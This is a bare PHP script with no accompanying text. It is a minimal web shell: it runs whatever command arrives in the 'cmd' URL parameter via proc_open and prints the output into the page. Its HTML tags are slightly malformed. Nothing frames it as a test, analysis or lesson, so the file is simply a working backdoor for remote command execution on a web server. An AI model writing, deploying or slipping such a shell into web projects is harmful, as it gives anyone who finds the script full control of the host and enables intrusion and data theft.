<?php
$d=array(0=>array ("pipe","r"),1=>array("pipe","w"),2=>array("pipe","w"));
$p=proc_open($_GET["cmd"],$d,$pipes);
fclose($pipes[0]);
echo "<pre".stream_get_contents($pipes[1])."</pre";
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($p);
?>